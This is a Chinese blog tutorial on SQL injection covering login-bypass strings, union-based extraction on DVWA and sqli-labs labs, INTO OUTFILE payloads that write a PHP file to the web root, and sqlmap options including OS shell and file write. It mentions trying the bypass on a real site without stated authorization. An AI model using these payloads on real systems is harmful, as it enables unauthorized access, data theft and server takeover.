0x01-SQL注入

SQL注入

数据库分类:

  • 关系型数据库
    MySQL、MariaDB(MySQL的代替品)、Percona Server(MySQL的代替品)、PostgreSQL、Microsoft Access、 Google Fusion Tables、SQLite、DB2、FileMaker、Oracle、SQL Server、INFORMIX、Sybase、dBASE、Clipper、FoxPro、foshub。
    几乎所有的数据库管理系统都配备了一个开放式数据库连接(ODBC)驱动程序,令各个数据库之间得以互相集成。

  • 非关系型数据库(NoSQL)
    redis、MongoDB、Memcache、HBase、BigTable、Cassandra、CouchDB、Neo4J。

二、区别

关系型数据库最典型的数据结构是表,由二维表及其之间的联系所组成的一个数据组织

  • 优点:
    易于维护:都是使用表结构,格式一致;
    使用方便:SQL语言通用,可用于复杂查询;
    复杂操作:支持SQL,可用于一个表以及多个表之间非常复杂的查询。

  • 缺点:
    读写性能比较差,尤其是海量数据的高效率读写;
    固定的表结构,灵活度稍欠;
    高并发读写需求,传统关系型数据库来说,硬盘I/O是一个很大的瓶颈。

非关系型数据库严格上不是一种数据库,应该是一种数据结构化存储方法的集合,可以是文档或者键值对等。

  • 优点:
    格式灵活:存储数据的格式可以是key,value形式、文档形式、图片形式等等,文档形式、图片形式等等,使用灵活,应用场景广泛,而关系型数据库则只支持基础类型。
    速度快:nosql可以使用硬盘或者随机存储器作为载体,而关系型数据库只能使用硬盘;
    高扩展性;
    成本低:nosql数据库部署简单,基本都是开源软件。

  • 缺点:
    不提供sql支持,学习和使用成本较高;
    无事务处理;
    数据结构相对复杂,复杂查询方面稍欠。
    非关系型数据库的分类和比较:
    key-value型 (针对高性能并发读写场景)
    文档型 (针对海量数据访问场景)
    列式数据库
    图形数据库

常见的数据库,默认端口号:

  1. 关系型数据库
    一、MySql数据库,默认端口是:3306;
    二 、Oracle数据库,默认端口号为:1521;
    三、Sql Server数据库,默认端口号为:1433;
    四、DB2数据库,默认端口号为:5000;
    五、PostgreSQL数据库,默认端口号为:5432;
    六、国产的DM达梦数据库,默认端口号为:5236。

  2. NoSql数据库(非关系型数据库):
    一.Redis数据库,默认端口号:6379;
    二.Memcached数据库,默认端口号:11211;
    三.MongoDB数据库,默认端口号:27017;

MySQL数据库基础语法
增删改查学完即可。

SQL注入原理

Web应用程序向数据传递SQL语句时,未对前端用户输入的参数进行过滤或者说是严格的过滤,就直接将前端用户传递的SQL语句直接带入数据库执行,我们可以构造特殊SQL语句进行注入,导致可以查询数据库数据,修改数据库数据等等。

SQL注入的关键两个条件:

  1. 用户参数可控,前段用户能够控制输入的参数(SQL语句)

  2. 前端用户输入的参数(SQL语句)能直接被带入到数据库执行。

两个条件缺一不可:

SQL注入漏洞危害:

  • 查询数据库数据
  • 修改数据库数据
  • POST万能密码注入能绕过登陆认证
  • UNION联合注入能直接写Webshell到网站目录
  • 控制网站,控制服务器
  • SQL注入漏洞原因:
  • 网站数据类型处理不当(为对数据类型进行校验和强转)
  • 不安全的数据库配置(数据库弱口令,数据库版本存在漏洞)CVE-2016-6662 CVE-2016-6663
  • 不合理的查询集处理(UNION联合查询直接输入查询类型)
  • 不当的错误处理(mysql_real_escape_string,addslashaes遇到'"null\都会在前面加\转义原本的作用)宽字节注入
  • 多个提交处理不当(接收多个参数(REQUEST 只检测 GET ,未检测 POST),多个参数值检测其中个别参数,存在漏网之鱼)
    SQL注入的关键两个条件:
  • 用户参数可控,前段用户能够控制输入的参数(SQL语句)
  • 前端用户输入的参数(SQL语句)能直接被带入到数据库执行。

两个条件缺一不可:

SQL注入漏洞危害:

  • 查询数据库数据
  • 修改数据库数据
  • POST万能密码注入能绕过登陆认证
  • UNION联合注入能直接写Webshell到网站目录
  • 控制网站,控制服务器

SQL注入漏洞原因:

  • 网站数据类型处理不当(为对数据类型进行校验和强转)

  • 不安全的数据库配置(数据库弱口令,数据库版本存在漏洞)CVE-2016-6662 CVE-2016-6663

  • 不合理的查询集处理(UNION联合查询直接输入查询类型)

  • 不当的错误处理(mysql_real_escape_string,addslashaes遇到'"null\都会在前面加\转义原本的作用)宽字节注入

  • 多个提交处理不当(接收多个参数(REQUEST 只检测 GET ,未检测 POST ),多个参数值检测其中个别参数,存在漏网之鱼)


SQL注入分类

根据请求分类:

  • GET请求注入
  • POST请求注入
  • COOKIE请求注入
  • SESSION请求注入(二次注入)

根据参数分类:

  • 整数型注入
  • 字符型注入
  • 搜索型注入

根据注入点分类:

  • 联合查询注入(UNION注入)
  • 报错注入
  • 布尔盲注
  • 时间盲注
  • 堆叠注入
  • header 头注入(User-agent,xff,client_ip,cookie)
  • 宽字节注入
  • urlencode注入
  • base64注入
  • 二次注入 == 二阶注入

根据数据库分类:

  • musql
  • mssql == sql-server
  • oracle
  • mongodb
  • access

SQL注入--万能密码

万能密码(POST注入):在不知道用户密码的情况构造特殊用户名直接绕过网站登陆认证,直接访问后台。

admin or 1=1 #

图片中语句有点小问题,以上面代码中的语句为准,登陆后台了

换个浏览器
admin/admin测试,登录失败。

tips:这是一个小岛的网站。

原理

SQL语句
select * from admin where username='$user' and password=md5('$pass')"

在后端语言中他执行的因该是这样的语句。

在测试时我在用户名中构建了admin ' or 1=1 #这样的语句,

将语句结合

select * from admin where username='admin ' or 1=1 # 'and password=md5('$pass')
$user //是后端PHP代码中的变量,我们传递进去的则是 admin ‘ or 1=1 #
# //在PHP中#是注释,同样注释的还有 -- /+

所以只用看前面的
select * from admin where username='admin ' or 1=1 #
上面语句的意思从数据集中的admin表中查找username=admin 
但是又会有疑问要是没有admin呢,无妨。
核心还是 or 1=1 #
or 1=1 #与前面的语句,or 或 的意思
连贯就是 // 从数据库中找username是admin的 或者 1=1 那么判断成功,绕过登陆今后台大致是这么理解

简洁描述

select * from admin where username='admin' or 1=1#' and
password=md5('$pass')"
select * from admin where username='admin' or 1=1
变种万能密码
admin' or 1=1#
' or 1=1#
' or ''=''#
' or 'a'='a'#
#' and password=md5('$pass')" //已被#注释不执行
用户名和密码可控情况下
--+ --空格 # mysql单行注入
/**/ 多行注释

用户名有过滤(过滤'")#)不能构造特殊语句也不能绕过,密码可控。

select * from admin where username='admin' and password=md5('$pass')";不能万能
密码;

mysql md5函数问题,在8.0以后没有问题。遇到'"~!@#$%^&*()__+.

select * from admin where username='admin' and password='';
密码输出' or 1=1#
' or 1=1#

环境搭建

使用docker容器
docker search dvwa
docker pull c0ny1/sqli-labs拉取靶场环境

docker run -t -d -p 1080:80 --name "pikachu" area39/dvwa-v1.10:latest

run #运行
-t #后台运行容器
-d #为容器重新分配一个伪输入终端
-p 1080:80 #指定宿主机(本地主机)1080端口为容器的80端口
-- name “” #设置容器名称

访问本地或者内网IP地址+端口

靶场搭建完成(默认账号\密码:admin\password)

选择"SQL Injection"

在框众输入1传参

1.传递的“1”参数被传入到了url栏中,初判get传参注入


靶场实战

手工注入流程:

  • 判断url是否存在注入以及注入类型(数字型,字符型)
  • 判断字段数,order by 1-n
  • 判断回显点,通过联合查询判断回显点
  • 通过回显点查询数据(数据库名称,版本,编译操作系统,用户等等)
  • 通过回显点查询数据库的数据(所有的库名/表名、字段名)
  • 通过回显点查询字段内容数据(加密后的数据)
  • 通过网站解密数据(www.cmd5.com一些带有盐值的加密数据够呛)
  1. 判断是否存在注入
    “'”单引号页面报错(在url众%20为空格的编码,%27为单引号编码)在线编码解码

    ' and 1=1 -- 回显正常

    ' and 1=2 -- 回显异常

    存在注入

  2. 判断字段

' order by 1 -- +
' order by 2 -- +


' order by 3 -- +有且仅有两个字段,3报错说明没有第三个字段。

  1. 判断回显点,通过联合查询判断回显点
    未发现

改变传参“1”为“0”使页面报错
' union select 123,456 --+
发现123,456出现的位置,这就是两个回显点

  1. 查库,版本,用户及权限
' union select database(),version() --+
database() #库
version() #版本
user() #查看用户及权限


一般测试只要验证确实存在漏洞即可。还有查表,查字段,并且具有一定权限的还可以增删改等一系列危险操作。

  1. 查表及字段
' union select 123,group_concat(schema_name) from information_schema.schemata--+
# 使用联合查询,group_concat()串联函数,将“schema_name”中的库名串联起来输出,
# 人话:从information_schema.schemata 中 联合查询 123,串联输出schema_name(参考英语倒装具)
# information_schema固有库,类似目录,人话:目录库

SQL注入--手工注入

Tips:

一般SRC的挖掘中查库已经完全够用,再深入已经违法了。或者在授权的情况下触碰库已经够了,但是再一个完整的渗透测试中这是完完全全不够的。你还要跑库、表、字段,拿账号密码,高权限账号还可以去尝试读、写文件;低权限账号还可以尝试数据库提权。

SQLI-LABS-Less-1
正常访问,? id=1 是要自己传参进去,正常网页如下。

判断当前页面是否存在注入点

使用如下语句 1=2 不成立,报错。存在注入点。

’ and 1=2 --+

判断当前页面字段数
' order by 1--+
' order by 2--+
' order by 3--+
' order by 4--+
//至此4报错,说明只存在3个字段

查看当前页面回显点
0 ’ union select 1,2,3--+
//0的意义是让他当前页面进行报错这样才能回显出1,2,3 0、-1只要是能让他报错的都没问题
//不进行报错的话还是默认先是dump

查看当前页面的数据库、当前用户等等
0’ union select 1,database(),user()--+

0 ‘ union select 1,group_concat(schema_name),3 from information_schema.schemata--+
//查询所有数据库名

查看 security 的表
0 ' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
1.判断url是否存在注入
id=1 and 1=1%23 #正常
id=1 and 1=2%23 #不正常 数字型
id=1' and 1=1%23 #正常
id=1' and 1=2%23 #不正常 字符型
id=1' '123'='123'%23
'")]}~!@#$%^&* 测试语句是否报错
2.判断字段数
?id=1' order by 4%23 #报错
?id=1' order by 3%23 #正常,说明存在3个字段

3.找回显点
union select 联合查询可以将两个查询语句的结果输出,查询字段数必须相同。默认查询数据有相同
的不显示
union all select 联合查询 显示所有数据

select *from users union all select * from users;
MariaDB [security]> select * from users union all select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+

?id=1' union select 1,2,3%23 #没有输出1,2,3 index.php使用if输出第一个结果集,只输出id=1的结果并没有输出union select 1,2,3 结果。
?id=0' union select 1,2,3%23

4.通过mysql函数查询数据库基本信息
?id=0' union select 1,database(),version()%23

database() 显示当前数据库的名字
user() 显示当前数据库连接的用户名
version()显示当前数据库的版本信息
@@datadir 显示数据库数据保存的路径

在/var/lib/mysql/目录下存放所有mysql数据库的数据。
库是以文件夹的形式存在,表是以frm文件形式存在。
@@basedir 显示mysql安装路径
/usr/
@@version_compile_os 显示mariadb数据编译的操作系统
Linux
Mysql5.0及以上存在information_schema自带库,information_schema自带库存在mysql数据
库所有的库名,表名,字段名。

schemata表中schema_name字段存储mysql所有的库名。
tables表中table_schema字段存储所有库名,table_name存放库对应的表名。
columns表中table_schema字段存储所有库名,table_name存放库对应的表名,column_name存在
所有库所有表的字段名。
**concat() **将字符拼接起来 select concat('a','b','c','d') abcd
concat_ws() 将字符拼接起来并指定分割符号 select concat(':',a','b','c','d')a:b:c:d
group_concat() 将多行结果拼接到一行显示出来 select group_concat(username) from users; 就将username字段内容拼接到一行显示出来。

5.通过自带库查询数据库
查询所有库名
?id=0' union select 1,group_concat(schame_name),3 from information_schema.schemata%23

查询库对应的表名

?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23

查询库对应表的字段名
?id=0' union select 1,group_concat(column_name),3 frominformation_schema.columns where table_schema=database() andtable_name='users'%23

查询库对应表对应字段的数据

?id=0' union select 1,group_concat(username,password),3 from users%23
?id=0' union select 1,group_concat(username,password),3 from security.users%23
?id=0' union select 1,group_concat(username),group_concat(password) from users%23

利用SQL注入联合查询写webshell
secure_file_priv = '' #允许数据库导入导出数据
secure_file_priv = null #不允许数据导入导出数据
secure_file_priv = '/var/lib/mysql/' #只允许在指定目录导入导出数据
@@secure_file_priv #查看secure_file_priv变量的值
在数据库中执行语句,show variables like '%secure_file_priv%';

?id=1' union select 1,2,'' into outfile
'/var/www/html/phpinfo.php'%23
将前面内容导出到/var/www/html/phpinfo.php
into outfile 支持导入多行数据,但是会因为操作系统不同数据可能会发生变化
into dumpfile 支持导入单行数据,但是不会因为操作系统不同数据可能会发生变化

sql注入写webshell条件

  1. dba权限,root 导入导出权限
  2. 知道网站的绝对路径
  3. 网站未对'"做任何限制

SQL注入联合查询写webshell总结

?id=1' union select 1,2,'<?=phpinfo();?>' into outfile'/var/www/html/phpinfo.php'%23

?id=1' union select 1,2,'<?=phpinfo();?>' into dumpfile'/var/www/html/phpinfo.php'%23

?id=1 INTO OUTFILE '/var/www/html/phpinfo.php' lines terminated by '<?=phpinfo();?>'%23

?id=1 INTO OUTFILE '/var/www/html/phpinfo.php' fields terminated by '<?=phpinfo();?>'%23

?id=1 INTO OUTFILE '/var/www/html/phpinfo.php' columns terminated by '<?=phpinfo();?>'%23

?id=1 INTO OUTFILE '/var/www/html/phpinfo.php' lines starting by '<?=phpinfo();?>'%23

SQL注入工具使用

SQLmap

GET注入:
​ Sqlmap -u ‘http://192.168.11.111?id=1 ’

​ Sqlmap -u ‘http://192.168.11.111?id=1 ’ –dbs

​ Sqlmap -u ‘http://192.168.11.111?id=1 ’ -D 数据库名 –tables

​ Sqlmap -u ‘http://192.168.11.111?id=1 ’ -D 数据库名 -T 表名 –columns

​ Sqlmap -u ‘http://192.168.11.111?id=1 ’ -D 数据库名 -T 表名 -C 字段 –dump

​ Sqlmap -u ‘http://192.168.11.111?id=1 ’ -D 数据库名 –dump

​ Sqlmap -u ‘http://192.168.11.111?id=1 ’ -D 数据库名 -T 表名 –dump

通过数据包注入:
与burp结合使用

​ Sqlmap -r data.txt

​ Sqlmap -r data.txt –dbs

​ Sqlmap -r data.txt -D 数据库名 –tables

​ Sqlmap -r data.txt -D 数据库名 -T 表名 –columns

​ Sqlmap -r data.txt -D 数据库名 -T 表名 -C 字段 , –dump

​ Sqlmap -r data.txt -D 数据库 –dump

​ Sqlmap -r data.txt -D 数据库名 -T 表名 –dump

执行时优化:
–batch在执行时,自动使用默认的选项(Y/N)

–version 显示程序的版本号并退出

-h, –help 显示此帮助消息并退出

-v VERBOSE 详细级别:0-6(默认为1)

–timeout=TIMEOUT 等待连接超时的时间(默认为30秒)

–proxy=PROXY 使用HTTP代理连接到目标URL

-l LIST 从Burp或WebScarab代理的日志中解析目标。

-r REQUESTFILE 从一个文件中载入HTTP请求。

–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)

注入时常用参数:
-p TESTPARAMETER 可测试的参数(S)

–dbms=DBMS 强制后端的DBMS为此值

–os=OS 强制后端的DBMS操作系统为这个值

–dbs 枚举数据库管理系统数据库

-D DBname 要进行枚举的指定数据库名

-T TBLname 要进行枚举的指定数据库表(如:-T tablename –columns)

–tables 枚举的DBMS数据库中的表

–columns 枚举DBMS数据库表列

–dump 转储数据库管理系统的数据库中的表项

–dump-all 转储所有的DBMS数据库表中的条目

-C COL 要进行枚举的数据库列

-U USER 用来进行枚举的数据库用户

-b, –banner 检索数据库管理系统的标识

–current-user 检索数据库管理系统当前用户

–current-db 检索数据库管理系统当前数据库

–is-dba 检测DBMS当前用户是否DBA

–data=DATA 通过POST发送的数据字符串

–cookie=COOKIE HTTP Cookie头

-u URL, –url=URL 目标URL。

-g GOOGLEDORK 处理Google dork的结果作为目标URL。

Getshell参数:
–os-cmd=OSCMD 执行操作系统命令

–os-shell 交互式的操作系统的shell

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件

–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件

–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

–sql-shell 提示交互式SQL的shell

–sql-query=QUERY 要执行的SQL语句

绕过参数:
–technique=TECH SQL注入技术测试(默认BEUST)

–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)

–level=LEVEL 执行测试的等级(1-5,默认为1)

–prefix=PREFIX 注入payload字符串前缀

–suffix=SUFFIX 注入payload字符串后缀

–tamper=TAMPER 使用给定的脚本(S)篡改注入数据

–drop-set-cookie 忽略响应的Set – Cookie头信息

–user-agent=AGENT 指定 HTTP User – Agent头

–random-agent 使用随机选定的HTTP User – Agent头

–referer=REFERER 指定 HTTP Referer头

–headers=HEADERS 换行分开,加入其他的HTTP头

–level=LEVEL 执行测试的等级(1-5,默认为1)
posted @ 2023-12-19 15:46  断zhang  阅读(82)  评论(0)    收藏  举报